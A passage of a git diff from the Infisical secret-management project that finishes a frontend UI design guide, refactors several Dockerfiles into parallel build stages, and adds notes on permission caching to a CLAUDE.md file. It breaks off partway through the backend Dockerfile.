+| [`Accordion`](frontend/src/components/v3/generic/Accordion/Accordion.tsx) | Collapsible sections. |
+
+#### Data display
+| Component | Reach for this when… |
+| --- | --- |
+| [`Table`](frontend/src/components/v3/generic/Table/Table.tsx) | Read-mostly list of records with sortable columns. Pair with `Empty` + `Pagination`. |
+| [`DataGrid`](frontend/src/components/v3/generic/DataGrid/data-grid.tsx) | Editable spreadsheet-style grid — copy/paste, multi-cell selection, keyboard nav. Use only when `Table` isn't enough. |
+| [`Pagination`](frontend/src/components/v3/generic/Pagination/Pagination.tsx) | Page controls under a Table or list. |
+| [`Item`](frontend/src/components/v3/generic/Item/Item.tsx) | Vertically-stacked list rows with shared spacing — when a `Table` is too heavy. |
+| [`Detail`](frontend/src/components/v3/generic/Detail/Detail.tsx) | Read-only label/value pairs in a detail view. |
+| [`Badge`](frontend/src/components/v3/generic/Badge/Badge.tsx) | Small label or chip — status, scope tag, key/value pair. |
+
+#### Navigation & search
+| Component | Reach for this when… |
+| --- | --- |
+| [`Sidebar`](frontend/src/components/v3/generic/Sidebar/Sidebar.tsx) | Scope-aware product navigation panel. |
+| [`Breadcrumb`](frontend/src/components/v3/generic/Breadcrumb/Breadcrumb.tsx) | Hierarchical location trail at the top of a page. |
+| [`Command`](frontend/src/components/v3/generic/Command/Command.tsx) | Search-driven command palette / typeahead list. |
+
+#### Feedback & loading
+| Component | Reach for this when… |
+| --- | --- |
+| [`Alert`](frontend/src/components/v3/generic/Alert/Alert.tsx) | Inline message banner inside a page or Card. |
+| [`Toast`](frontend/src/components/v3/generic/Toast/Toast.tsx) | Transient post-action feedback. Replaces `alert()`. |
+| [`Empty`](frontend/src/components/v3/generic/Empty/Empty.tsx) | Zero-state placeholder — pair with Table, list, or empty filter. |
+| [`Skeleton`](frontend/src/components/v3/generic/Skeleton/Skeleton.tsx) | Shimmer placeholder while data is loading. |
+| [`PageLoader`](frontend/src/components/v3/generic/PageLoader/PageLoader.tsx) | Centered Lottie spinner for full-page loading. |
+
+#### Atoms & domain
+| Component | Reach for this when… |
+| --- | --- |
+| [`Separator`](frontend/src/components/v3/generic/Separator/Separator.tsx) | Horizontal/vertical divider. |
+| [`ScopeIcons`](frontend/src/components/v3/platform/ScopeIcons.tsx) | `OrgIcon` / `SubOrgIcon` / `ProjectIcon` / `InstanceIcon` — use when intent is scope. |
+| [`DocumentationLinkBadge`](frontend/src/components/v3/platform/DocumentationLinkBadge/DocumentationLinkBadge.tsx) | Inline "Documentation" link badge in `CardTitle`. |
+
+**Icons** — [`lucide-react`](https://lucide.dev). Sizing is bound by the
+host component; don't override unless necessary.
+
+## 5. Layout Principles
+
+- **Page container** — `max-w-8xl` (88rem) centered, `bg-bunker-800`.
+- **Page header** — `PageHeader` with scope icon + underlined `h1` + description. See [`PageHeader.tsx`](frontend/src/components/v2/PageHeader/PageHeader.tsx). Always set `scope` to the correct hierarchy level.
+- **Section** — one `Card` per logical section. Title + optional `DocumentationLinkBadge` in `CardHeader`; primary action in `CardAction` (top-right).
+- **Tables inside Cards** — filters and search sit in the `CardHeader` above the table; pagination sits in the `CardFooter` or bottom of `CardContent`.
+- **Forms inside Sheets/Dialog** — create / edit flows open in a right-side Sheet or Dialog, never inline, never as a full-page route. Multi-step forms remain inside the Sheet.
+- **Spacing rhythm** — `gap-1.5` (intra-element), `gap-2 / gap-3` (adjacent elements), `p-4 / p-5` (section padding). Card = `p-5 gap-5`; Sheet header/footer = `p-4`.
+
+## 6. Depth & Elevation
+
+Depth is conveyed by layered surface tones and borders. Shadows are reserved
+for elements that float (Popover, DropdownMenu, Sheet).
+
+| Layer               | Surface            | Border        |
+| ------------------- | ------------------ | ------------- |
+| Page                | `bg-bunker-800`    | —             |
+| Card                | `bg-card`          | `border-border` |
+| Popover / Sheet     | `bg-popover`       | `border-border` + `shadow-lg` |
+| Row hover           | `bg-container-hover` | — |
+| Focus               | — | 3px ring, `--color-ring` |
+| Disabled            | `opacity-50 / 75`, `pointer-events-none` | — |
+
+Never add a box-shadow to a Card, Table row, or Badge; it breaks the
+border-defined system.
+
+## 7. Do's and Don'ts
+
+- **DO** choose Badge and Button variants by **intent** (danger / success /
+  warning / info / neutral), not by color preference.
+- **DO** use scope colors (`org`, `sub-org`, `project`, `admin`) to reinforce
+  hierarchy — the scope of a page, a primary button, a scope-link badge.
+- **DO** mask secret values by default. Reveal must be an explicit user
+  action and should be logged.
+- **DO** put large create / edit forms in a right-side Sheet; smaller forms can be in Dialogs.
+- **DO** pair destructive confirmations with the resource name and the
+  consequence (see §9).
+- **DO** cite tokens (`bg-card`) over hex (`#xxxxxx`) in new code.
+- **DON'T** use v2 components when a v3 equivalent exists unless the existing scope is v2.
+- **DON'T** add box-shadows as a depth cue — borders and surface tones do
+  that work. The exception is elements that genuinely float (Popover,
+  DropdownMenu, Sheet), which already include it.
+- **DON'T** invent new colors. If it isn't in `index.css` `@theme`, it
+  doesn't belong.
+- **DON'T** use `project` yellow, `org` blue, or `sub-org` green as generic
+  accents. They are scope signals; repurposing them creates false hierarchy.
+- **DON'T** mix font families. Inter only.
+- **DON'T** animate for decoration. Motion should clarify state change only.
+
+## 8. Voice & Content Tone
+
+Copy should read as if written by an engineer for another engineer: direct,
+technical, specific. The domain is serious — secrets, access, compliance —
+and the voice reflects that.
+
+### Stance
+
+- Direct. Active voice. Lead with the subject: "Delete this role" — not
+  "This role will be deleted".
+- Specific. Name the resource, the action, the consequence. Avoid vague
+  verbs ("handle", "manage") when a precise verb exists (`rotate`, `revoke`,
+  `import`).
+- Calm. No exclamation marks. No second-person cheer ("Awesome!",
+  "You're all set!"). No emoji.
+- Honest. Never claim speed, power, or ease in UI copy ("seamless",
+  "powerful", "blazing-fast"). Those belong on the marketing site, not here.
+
+### Shapes
+
+- **Labels & buttons** — Title Case, imperative: "Add Secret", "Revoke
+  Access", "Rotate Key".
+- **Descriptions & helper text** — sentence case, one short sentence.
+- **Empty states** — state what's missing, then the next action:
+  "No secrets yet. Add your first secret to get started."
+- **Errors** — name the failure and the remedy. Never "Something went wrong":
+  "Could not rotate secret — token lacks `secrets:write` permission."
+- **Destructive confirmation** — name the resource and the consequence "Delete "API_KEY" — this cannot be undone."
+- **Success toasts** — past tense, specific: "Secret "API_KEY" created".
+
+### Secrets & sensitive values
+
+Never include a secret's value in any user-visible copy — UI, logs, toasts,
+errors, audit trails, or analytics. Refer to secrets by key only. Mask
+tokens and keys in screenshots and docs as well.
+
+### Documentation links
+
+Use `DocumentationLinkBadge` (info variant, external-link icon). Label it
+"Documentation" — not "Learn more", "Read docs", "See more".
+
+## 9. Agent Prompt Guide
+
+Pasteable prompt fragments for AI coding agents producing new UI.
+
+**Before generating UI for any component:**
+
+1. Open `frontend/src/components/v3/generic/<Name>/<Name>.stories.tsx`.
+2. Pick the `Example:` story closest to your need; mirror its composition exactly.
+3. Pick the variant by reading the matching `Variant:` story's description —
+   not by color preference.
+
+**Adding a section to an existing page:**
+> Wrap the section in a `Card` from `@app/components/v3`. Use `CardHeader`
+> with `CardTitle` + optional `CardDescription` + `CardAction` for the
+> top-right primary button (variant `project` on a project page). Put the
+> table or content in `CardContent`.
+
+**A new create/edit form:**
+> Put the form in a right-side `Sheet` (`Sheet`, `SheetContent`,
+> `SheetHeader` with `SheetTitle` + `SheetDescription`, `SheetFooter` with
+> the action buttons). Use `react-hook-form` with a Zod resolver. Each input
+> is wrapped in `Field` + `FieldLabel` + `FieldContent` + `FieldError`. Primary button is
+> variant is scope dependent `project`, secondary is `outline`, cancel is `ghost`.
+
+**A status indicator:**
+> Use `Badge` from `@app/components/v3`. Pick the variant by intent:
+> `danger` for errors or expired access, `warning` for stale or
+> attention-warranting, `success` for healthy / completed, `info` for
+> informational, `neutral` for disabled / empty, `project` / `org` /
+> `sub-org` for scope references. Include a matching Lucide icon as the
+> first child.
+
+**A destructive confirmation:**
+> Use `AlertDialog`. Title: "Delete `<resource-name>`". Description: one
+> sentence naming the consequence, ending with "This cannot be undone."
+> Confirm button is variant `danger`. Cancel button is variant `outline`.
+
+**A documentation link in a section:**
+> Use `DocumentationLinkBadge` from `@app/components/v3/platform`. Place it
+> in the `CardTitle` next to the section name.
+
+**Refer to:**
+
+- [`Badge.stories.tsx`](frontend/src/components/v3/generic/Badge/Badge.stories.tsx) — canonical semantic reference for variant choice.
+- [`OverviewPage`](frontend/src/pages/secret-manager/OverviewPage) — full-page reference (PageHeader, Card-with-table, Create Secret Sheet, filters, DropdownMenu + ButtonGroup).
+- [`AccessControlPage`](frontend/src/pages/project/AccessControlPage) — full-page reference (permission-gated actions, `DocumentationLinkBadge`, role badges with `ClockAlertIcon` for expired access).
+- §8 above for any user-visible copy.
+
+## Appendix: Iteration Guide
+
+1. **Run Storybook** — `cd frontend && npm run storybook` (port 6006). Open
+   Badge, Button, Card, Table, Sheet first.
+2. **Read the two reference pages** — `OverviewPage` and `AccessControlPage`
+   render the full v3 vocabulary in production.
+3. **Tokens live in `index.css`** — `@theme` block, lines 56–214. Never
+   introduce a hex that is not here.
+4. **Adding a variant** — extend the `cva()` block in the component and add
+   a story. Keep the tint pattern (`bg-<c>/15 border-<c>/10` for Badge,
+   `bg-<c>/10 border-<c>/25` for Button).
+5. **Never use v2 for new code** — unless no v3 equivalent exists.
+   `PageHeader` is the notable v2 exception still used by all pages.
+6. **Before merging** — `make reviewable-ui` (lint + type-check).
+7. **When in doubt** — mirror `OverviewPage`.
diff --git a/Dockerfile.fips.standalone-infisical b/Dockerfile.fips.standalone-infisical
index 1d617355b5f..cbdc8ad72b6 100644
--- a/Dockerfile.fips.standalone-infisical
+++ b/Dockerfile.fips.standalone-infisical
@@ -55,6 +55,27 @@ USER non-root-user
 ##
 ## BACKEND
 ##
+
+# Oracle Instant Client (parallel stage — downloads while other stages build)
+FROM debian:trixie-slim AS oracle
+RUN apt-get update && apt-get install -y unzip wget ca-certificates \
+    && rm -rf /var/lib/apt/lists/*
+
+RUN ARCH=$(dpkg --print-architecture) && \
+    if [ "$ARCH" = "amd64" ]; then \
+        ORACLE_ZIP="instantclient-basic-linux.x64-23.26.0.0.0.zip" && \
+        EXPECTED_SHA="d6c79cbcf0ff209363e779855c690d4fc730aed847e9198a2c439bcf34760af5"; \
+    elif [ "$ARCH" = "arm64" ]; then \
+        ORACLE_ZIP="instantclient-basic-linux.arm64-23.26.0.0.0.zip" && \
+        EXPECTED_SHA="9c9a32051e97f087016fb334b7ad5c0aea8511ca8363afd8e0dc6ec4fc515c32"; \
+    fi && \
+    ORACLE_URL="https://download.oracle.com/otn_software/linux/instantclient/2326000/${ORACLE_ZIP}" && \
+    wget -q "$ORACLE_URL" && \
+    echo "$EXPECTED_SHA  $ORACLE_ZIP" | sha256sum -c - && \
+    mkdir -p /opt/oracle && \
+    unzip "$ORACLE_ZIP" -d /opt/oracle && \
+    rm "$ORACLE_ZIP"
+
 FROM base AS backend-build
 
 ENV ChrystokiConfigurationPath=/usr/safenet/lunaclient/
@@ -117,7 +138,7 @@ RUN mkdir frontend-build
 # Production stage
 FROM base AS production
 
-# Install necessary packages including ODBC
+# Install all required runtime packages
 RUN apt-get update && apt-get install -y \
     build-essential \
     autoconf \
@@ -137,40 +158,27 @@ RUN apt-get update && apt-get install -y \
     freetds-dev \
     freetds-bin \
     tdsodbc \
+    libaio1t64 \
+    smbclient \
     openssh-client \
+    && curl -1sLf 'https://artifacts-cli.infisical.com/setup.deb.sh' | bash \
+    && apt-get update && apt-get install -y infisical=0.43.47 \
     && rm -rf /var/lib/apt/lists/*
 
-# Install Oracle Instant Client for OracleDB mTLS wallet support
+# Copy Oracle Instant Client from parallel stage
+COPY --from=oracle /opt/oracle /opt/oracle
 RUN ARCH=$(dpkg --print-architecture) && \
     if [ "$ARCH" = "amd64" ]; then \
-        ORACLE_ZIP="instantclient-basic-linux.x64-23.26.0.0.0.zip" && \
-        ORACLE_URL="https://download.oracle.com/otn_software/linux/instantclient/2326000/${ORACLE_ZIP}" && \
-        EXPECTED_SHA="d6c79cbcf0ff209363e779855c690d4fc730aed847e9198a2c439bcf34760af5" && \
-        apt-get update && apt-get install -y libaio1t64 unzip && \
-        ln -sf /lib/x86_64-linux-gnu/libaio.so.1t64 /lib/x86_64-linux-gnu/libaio.so.1 && \
-        wget -q "$ORACLE_URL" && \
-        echo "$EXPECTED_SHA  $ORACLE_ZIP" | sha256sum -c - && \
-        unzip "$ORACLE_ZIP" -d /opt/oracle && \
-        rm "$ORACLE_ZIP"; \
+        ln -sf /lib/x86_64-linux-gnu/libaio.so.1t64 /lib/x86_64-linux-gnu/libaio.so.1; \
     elif [ "$ARCH" = "arm64" ]; then \
-        ORACLE_ZIP="instantclient-basic-linux.arm64-23.26.0.0.0.zip" && \
-        ORACLE_URL="https://download.oracle.com/otn_software/linux/instantclient/2326000/${ORACLE_ZIP}" && \
-        EXPECTED_SHA="9c9a32051e97f087016fb334b7ad5c0aea8511ca8363afd8e0dc6ec4fc515c32" && \
-        apt-get update && apt-get install -y libaio1t64 unzip && \
-        ln -sf /lib/aarch64-linux-gnu/libaio.so.1t64 /lib/aarch64-linux-gnu/libaio.so.1 && \
-        wget -q "$ORACLE_URL" && \
-        echo "$EXPECTED_SHA  $ORACLE_ZIP" | sha256sum -c - && \
-        unzip "$ORACLE_ZIP" -d /opt/oracle && \
-        rm "$ORACLE_ZIP"; \
+        ln -sf /lib/aarch64-linux-gnu/libaio.so.1t64 /lib/aarch64-linux-gnu/libaio.so.1; \
     fi && \
     echo /opt/oracle/instantclient_23_26 > /etc/ld.so.conf.d/oracle-instantclient.conf && \
-    ldconfig && \
-    rm -rf /var/lib/apt/lists/*
+    ldconfig
 
 # Configure ODBC in production
 RUN printf "[FreeTDS]\nDescription = FreeTDS Driver\nDriver = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so\nSetup = /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so\nFileUsage = 1\n" > /etc/odbcinst.ini
 
-
 WORKDIR /openssl-build
 RUN wget https://www.openssl.org/source/openssl-3.1.2.tar.gz \
     && tar -xf openssl-3.1.2.tar.gz \
@@ -183,9 +191,6 @@ RUN wget https://www.openssl.org/source/openssl-3.1.2.tar.gz \
     && apt-get clean \
     && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
 
-# Install smbclient for Windows SMB operations
-RUN apt-get update && apt-get install -y smbclient && rm -rf /var/lib/apt/lists/*
-
 # Build OpenSSL 3.5.6 for PQC (ML-DSA / SLH-DSA) certificate support.
 # Installed to /opt/openssl-pqc so it does not conflict with the FIPS OpenSSL above.
 WORKDIR /tmp/openssl-pqc-build
@@ -199,11 +204,6 @@ RUN wget -q https://github.com/openssl/openssl/releases/download/openssl-3.5.6/o
     && cd / \
     && rm -rf /tmp/openssl-pqc-build
 
-# Install Infisical CLI
-RUN curl -1sLf 'https://artifacts-cli.infisical.com/setup.deb.sh' | bash \
-    && apt-get update && apt-get install -y infisical=0.43.47 \
-    && rm -rf /var/lib/apt/lists/*
-
 RUN groupadd -r -g 1001 nodejs && useradd -r -u 1001 -g nodejs non-root-user
 
 # Give non-root-user permission to update SSL certs
diff --git a/Dockerfile.standalone-infisical b/Dockerfile.standalone-infisical
index 443bd5c26b1..3532b7dae91 100644
--- a/Dockerfile.standalone-infisical
+++ b/Dockerfile.standalone-infisical
@@ -57,6 +57,27 @@ USER non-root-user
 ##
 ## BACKEND
 ##
+
+# Oracle Instant Client (parallel stage — downloads while other stages build)
+FROM debian:trixie-slim AS oracle
+RUN apt-get update && apt-get install -y unzip wget ca-certificates \
+    && rm -rf /var/lib/apt/lists/*
+
+RUN ARCH=$(dpkg --print-architecture) && \
+    if [ "$ARCH" = "amd64" ]; then \
+        ORACLE_ZIP="instantclient-basic-linux.x64-23.26.0.0.0.zip" && \
+        EXPECTED_SHA="d6c79cbcf0ff209363e779855c690d4fc730aed847e9198a2c439bcf34760af5"; \
+    elif [ "$ARCH" = "arm64" ]; then \
+        ORACLE_ZIP="instantclient-basic-linux.arm64-23.26.0.0.0.zip" && \
+        EXPECTED_SHA="9c9a32051e97f087016fb334b7ad5c0aea8511ca8363afd8e0dc6ec4fc515c32"; \
+    fi && \
+    ORACLE_URL="https://download.oracle.com/otn_software/linux/instantclient/2326000/${ORACLE_ZIP}" && \
+    wget -q "$ORACLE_URL" && \
+    echo "$EXPECTED_SHA  $ORACLE_ZIP" | sha256sum -c - && \
+    mkdir -p /opt/oracle && \
+    unzip "$ORACLE_ZIP" -d /opt/oracle && \
+    rm "$ORACLE_ZIP"
+
 FROM base AS backend-build
 
 ENV ChrystokiConfigurationPath=/usr/safenet/lunaclient/
@@ -87,14 +108,12 @@ RUN npm i -g tsconfig-paths
 ENV NODE_OPTIONS="--max-old-space-size=8192"
 RUN npm run build
 
-# Production stage
-FROM base AS backend-runner
-
-ENV ChrystokiConfigurationPath=/usr/safenet/lunaclient/
+# Production dependencies (runs in parallel with backend-build)
+FROM base AS backend-prod-deps
 
 WORKDIR /app
 
-# Install all required dependencies for runtime
+# Install build tools needed to compile native modules during npm ci
 RUN apt-get update && apt-get install -y \
     python3 \
     make \
@@ -106,70 +125,63 @@ RUN apt-get update && apt-get install -y \
     freetds-dev \
     && rm -rf /var/lib/apt/lists/*
 
+COPY backend/package*.json ./
+RUN npm ci --omit=dev
+
+# Production stage
+FROM base AS backend-runner
+
+ENV ChrystokiConfigurationPath=/usr/safenet/lunaclient/
+
+WORKDIR /app
+
+# Only runtime libraries needed — no compilation happens here
+RUN apt-get update && apt-get install -y \
+    unixodbc \
+    freetds-bin \
+    && rm -rf /var/lib/apt/lists/*
+
 # Configure ODBC
 RUN printf "[FreeTDS]\nDescription = FreeTDS Driver\nDriver = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so\nSetup = /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so\nFileUsage = 1\n" > /etc/odbcinst.ini
 
 COPY --from=backend-build /app .
 RUN rm -rf ./node_modules ./bdd ./e2e-test
-RUN npm ci --omit=dev
+COPY --from=backend-prod-deps /app/node_modules ./node_modules
 
 RUN mkdir frontend-build
 
 # Production stage
 FROM base AS production
 
+# Runtime dependencies + build tools needed for PQC OpenSSL build
 RUN apt-get update && apt-get install -y \
-    build-essential \
-    autoconf \
-    automake \
-    libtool \
-    libssl-dev \
     ca-certificates \
     bash \
     curl \
     git \
-    python3 \
-    make \
-    g++ \
     unixodbc \
     freetds-bin \
-    unixodbc-dev \
-    libc-dev \
-    freetds-dev \
     wget \
     perl \
+    build-essential \
+    libssl-dev \
     openssh-client \
+    libaio1t64 \
+    smbclient \
+    && curl -1sLf 'https://artifacts-cli.infisical.com/setup.deb.sh' | bash \
+    && apt-get update && apt-get install -y infisical=0.43.47 \
     && rm -rf /var/lib/apt/lists/*
 
-# Install Oracle Instant Client for OracleDB mTLS wallet support
+# Copy Oracle Instant Client from parallel stage
+COPY --from=oracle /opt/oracle /opt/oracle
 RUN ARCH=$(dpkg --print-architecture) && \
     if [ "$ARCH" = "amd64" ]; then \
-        ORACLE_ZIP="instantclient-basic-linux.x64-23.26.0.0.0.zip" && \
-        ORACLE_URL="https://download.oracle.com/otn_software/linux/instantclient/2326000/${ORACLE_ZIP}" && \
-        EXPECTED_SHA="d6c79cbcf0ff209363e779855c690d4fc730aed847e9198a2c439bcf34760af5" && \
-        apt-get update && apt-get install -y libaio1t64 unzip && \
-        ln -sf /lib/x86_64-linux-gnu/libaio.so.1t64 /lib/x86_64-linux-gnu/libaio.so.1 && \
-        wget -q "$ORACLE_URL" && \
-        echo "$EXPECTED_SHA  $ORACLE_ZIP" | sha256sum -c - && \
-        unzip "$ORACLE_ZIP" -d /opt/oracle && \
-        rm "$ORACLE_ZIP"; \
+        ln -sf /lib/x86_64-linux-gnu/libaio.so.1t64 /lib/x86_64-linux-gnu/libaio.so.1; \
     elif [ "$ARCH" = "arm64" ]; then \
-        ORACLE_ZIP="instantclient-basic-linux.arm64-23.26.0.0.0.zip" && \
-        ORACLE_URL="https://download.oracle.com/otn_software/linux/instantclient/2326000/${ORACLE_ZIP}" && \
-        EXPECTED_SHA="9c9a32051e97f087016fb334b7ad5c0aea8511ca8363afd8e0dc6ec4fc515c32" && \
-        apt-get update && apt-get install -y libaio1t64 unzip && \
-        ln -sf /lib/aarch64-linux-gnu/libaio.so.1t64 /lib/aarch64-linux-gnu/libaio.so.1 && \
-        wget -q "$ORACLE_URL" && \
-        echo "$EXPECTED_SHA  $ORACLE_ZIP" | sha256sum -c - && \
-        unzip "$ORACLE_ZIP" -d /opt/oracle && \
-        rm "$ORACLE_ZIP"; \
+        ln -sf /lib/aarch64-linux-gnu/libaio.so.1t64 /lib/aarch64-linux-gnu/libaio.so.1; \
     fi && \
     echo /opt/oracle/instantclient_23_26 > /etc/ld.so.conf.d/oracle-instantclient.conf && \
-    ldconfig && \
-    rm -rf /var/lib/apt/lists/*
-
-# Install smbclient for Windows SMB operations
-RUN apt-get update && apt-get install -y smbclient && rm -rf /var/lib/apt/lists/*
+    ldconfig
 
 # Build OpenSSL 3.5.6 for PQC (ML-DSA / SLH-DSA) certificate support.
 # Installed to /opt/openssl-pqc so it does not conflict with the system OpenSSL.
@@ -184,11 +196,6 @@ RUN wget -q https://github.com/openssl/openssl/releases/download/openssl-3.5.6/o
     && cd / \
     && rm -rf /tmp/openssl-build
 
-# Install Infisical CLI
-RUN curl -1sLf 'https://artifacts-cli.infisical.com/setup.deb.sh' | bash \
-    && apt-get update && apt-get install -y infisical=0.43.47 \
-    && rm -rf /var/lib/apt/lists/*
-
 WORKDIR /
 
 # Configure ODBC in production
@@ -199,12 +206,10 @@ RUN groupadd --system --gid 1001 nodejs \
   && useradd --system --uid 1001 --gid nodejs non-root-user
 
 # Give non-root-user permission to update SSL certs
-RUN chown -R non-root-user /etc/ssl/certs
-RUN chown non-root-user /etc/ssl/certs/ca-certificates.crt
-RUN chmod -R u+rwx /etc/ssl/certs
-RUN chmod u+rw /etc/ssl/certs/ca-certificates.crt
-RUN chown non-root-user /usr/sbin/update-ca-certificates
-RUN chmod u+rx /usr/sbin/update-ca-certificates
+RUN chown -R non-root-user /etc/ssl/certs \
+    && chmod -R u+rwx /etc/ssl/certs \
+    && chown non-root-user /usr/sbin/update-ca-certificates \
+    && chmod u+rx /usr/sbin/update-ca-certificates
 
 ## set pre baked keys
 ARG POSTHOG_API_KEY
@@ -229,6 +234,21 @@ ENV DD_GIT_REPOSITORY_URL $DD_GIT_REPOSITORY_URL
 ARG DD_GIT_COMMIT_SHA
 ENV DD_GIT_COMMIT_SHA $DD_GIT_COMMIT_SHA
 
+# OCI Image Labels - Static metadata
+# See: https://github.com/opencontainers/image-spec/blob/main/annotations.md
+LABEL org.opencontainers.image.title="Infisical"
+LABEL org.opencontainers.image.description="Open-source secret management platform"
+LABEL org.opencontainers.image.url="https://infisical.com"
+LABEL org.opencontainers.image.documentation="https://infisical.com/docs"
+LABEL org.opencontainers.image.source="https://github.com/Infisical/infisical"
+LABEL org.opencontainers.image.vendor="Infisical"
+LABEL org.opencontainers.image.licenses="MIT"
+LABEL org.opencontainers.image.base.name="node:22.22.0-trixie-slim"
+
+# OCI Image Labels - Dynamic metadata (set via build args)
+LABEL org.opencontainers.image.version="${INFISICAL_PLATFORM_VERSION}"
+LABEL org.opencontainers.image.revision="${DD_GIT_COMMIT_SHA}"
+
 ENV PORT 8080
 ENV HOST=0.0.0.0
 ENV HTTPS_ENABLED false
diff --git a/backend/.gitignore b/backend/.gitignore
index 00425e090d9..dbb2683fb46 100644
--- a/backend/.gitignore
+++ b/backend/.gitignore
@@ -1,3 +1,4 @@
 dist
+.cache
 
 /wallet
diff --git a/backend/CLAUDE.md b/backend/CLAUDE.md
index a38752b0214..e525ad3114d 100644
--- a/backend/CLAUDE.md
+++ b/backend/CLAUDE.md
@@ -88,7 +88,7 @@ Services live in `src/services/` (100+ modules). Each typically contains:
 
 Routes use Fastify's Zod type provider — schemas auto-generate OpenAPI docs. Each route specifies: `method`, `url`, `config.rateLimit` (using `readLimit` or `writeLimit` presets), `schema` (Zod schemas with `operationId` for OpenAPI), `onRequest: verifyAuth([AuthMode.*])`, and a `handler` that accesses business logic via `server.services.*`.
 
-See `src/server/routes/v3/user-router.ts` for a representative router file.
+See `src/server/routes/v4/secret-router.ts` for a representative router file.
 
 ### Auth System
 
@@ -124,6 +124,15 @@ Uses CASL (`@casl/ability`) with MongoDB-style rules. Permission logic lives in
 
 Built-in roles: `Admin`, `Member`, `Viewer`, `NoAccess`. Custom roles use unpacked CASL rules stored in the database. Rules can include conditions with operators `$IN`, `$EQ`, `$NEQ`, `$GLOB` (for pattern matching like `prod-*`). See `PermissionConditionSchema` in `permission-types.ts`.
 
+**Project permission caching** uses a fingerprint-based two-tier cache (`withCacheFingerprint` in `src/lib/cache/with-cache.ts`):
+- **Short-lived marker** (10s TTL) in Redis — while present, cached data is served with 0 DB reads.
+- **Long-lived data payload** (10m TTL) in Redis — holds the full permission blob plus a fingerprint hash.
+- On marker expiry, a lightweight **fingerprint query** (`getPermissionFingerprint` in `permission-dal.ts`) runs (1 DB read). If the fingerprint matches the cached payload, the marker is reset; otherwise, a full data re-fetch occurs.
+- The fingerprint covers **both project-scoped and org-scoped** memberships for the actor, so org-level changes (e.g. SSO bypass grant/revoke, org role edits) also trigger cache invalidation.
+- `filterTemporary` in `flattenActiveRolesFromMemberships` runs on every request as a real-time safety net — it filters out expired temporary access regardless of cache state, so access revocation for timed roles/privileges is immediate.
+- **No explicit cache invalidation calls exist.** The fingerprint self-corrects within the marker TTL (10s eventual consistency for access granting). The old `invalidateProjectPermissionCache` / DAL version counter pattern has been removed.
+- Cache helpers (`cacheGet`, `cacheSet`, `applyReviver`) in `src/lib/cache/with-cache.ts` are shared between the simple `withCache` and the fingerprint-based `withCacheFingerprint`.
+
 ### Request-Scoped Memoization
 
 A per-request in-memory cache that eliminates redundant DB reads within a single HTTP request. Defined in `src/lib/request-context/request-memoizer.ts`, attached to Fastify's `@fastify/request-context` as the `memoizer` field (initialized in `src/server/app.ts`). Cache is automatically garbage-collected when the request ends — zero staleness risk, zero infrastructure.
diff --git a/backend/Dockerfile b/backend/Dockerfile
index ad555bb8d68..4feea997d8c 100644
--- a/backend/Dockerfile
+++ b/backend/Dockerfile
@@ -3,90 +3,101 @@ FROM node:22.22.0-trixie-slim AS build
 
 WORKDIR /app
 
-# Required for pkcs11js
+# Required for pkcs11js and TDS driver (SAP ASE dynamic secrets)
 RUN apt-get update && apt-get install -y \
     python3 \
     make \
     g++ \
     openssh-client \
-    openssl
-
-# Install dependencies for TDS driver (required for SAP ASE dynamic secrets)
-RUN apt-get install -y \
+    openssl \
     unixodbc \
     freetds-bin \
     freetds-dev \
     unixodbc-dev \
-    libc-dev
+    libc-dev \
+    && rm -rf /var/lib/apt/lists/*
 
 COPY package*.json ./
-RUN npm ci --only-production
+RUN npm ci
 
 COPY . .
 RUN npm run build
 
-# Production stage
-FROM node:22.22.0-trixie-slim
-WORKDIR /app
+# Oracle Instant Client (parallel stage — downloads while other stages build)
+FROM debian:trixie-slim AS oracle
+RUN apt-get update && apt-get install -y unzip wget ca-certificates \
+    && rm -rf /var/lib/apt/lists/*
 
-ENV npm_config_cache /home/node/.npm
+RUN ARCH=$(dpkg --print-architecture) && \
+    if [ "$ARCH" = "amd64" ]; then \
+        ORACLE_ZIP="instantclient-basic-linux.x64-23.26.0.0.0.zip" && \
+        EXPECTED_SHA="d6c79cbcf0ff209363e779855c690d4fc730aed847e9198a2c439bcf34760af5"; \
+    elif [ "$ARCH" = "arm64" ]; then \
+        ORACLE_ZIP="instantclient-basic-linux.arm64-23.26.0.0.0.zip" && \
+        EXPECTED_SHA="9c9a32051e97f087016fb334b7ad5c0aea8511ca8363afd8e0dc6ec4fc515c32"; \
+    fi && \
+    ORACLE_URL="https://download.oracle.com/otn_software/linux/instantclient/2326000/${ORACLE_ZIP}" && \
+    wget -q "$ORACLE_URL" && \
+    echo "$EXPECTED_SHA  $ORACLE_ZIP" | sha256sum -c - && \
+    mkdir -p /opt/oracle && \
+    unzip "$ORACLE_ZIP" -d /opt/oracle && \
+    rm "$ORACLE_ZIP"
 
-COPY package*.json ./
+# Production dependencies (runs in parallel with build)
+FROM node:22.22.0-trixie-slim AS prod-deps
+
+WORKDIR /app
 
+# Build tools needed to compile native modules during npm ci
 RUN apt-get update && apt-get install -y \
     python3 \
     make \
-    g++
-
-# Install dependencies for TDS driver (required for SAP ASE dynamic secrets)
-RUN apt-get install -y \
+    g++ \
     unixodbc \
     freetds-bin \
     freetds-dev \
     unixodbc-dev \
-    libc-dev
+    libc-dev \
+    && rm -rf /var/lib/apt/lists/*
+
+COPY package*.json ./
+RUN npm ci --omit=dev
+
+# Production stage
+FROM node:22.22.0-trixie-slim
+WORKDIR /app
+
+ENV npm_config_cache /home/node/.npm
+
+# Only runtime dependencies — no compilation happens here
+RUN apt-get update && apt-get install -y \
+    unixodbc \
+    freetds-bin \
+    libaio1t64 \
+    smbclient \
+    curl \
+    bash \
+    git \
+    && curl -1sLf 'https://artifacts-cli.infisical.com/setup.deb.sh' | bash \
+    && apt-get update && apt-get install -y infisical=0.43.14 \
+    && rm -rf /var/lib/apt/lists/*
 
 RUN printf "[FreeTDS]\nDescription = FreeTDS Driver\nDriver = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so\nSetup = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so\nFileUsage = 1\n" > /etc/odbcinst.ini
 
-# Install Oracle Instant Client for OracleDB mTLS wallet support
+# Copy Oracle Instant Client from parallel stage
+COPY --from=oracle /opt/oracle /opt/oracle
 RUN ARCH=$(dpkg --print-architecture) && \
     if [ "$ARCH" = "amd64" ]; then \
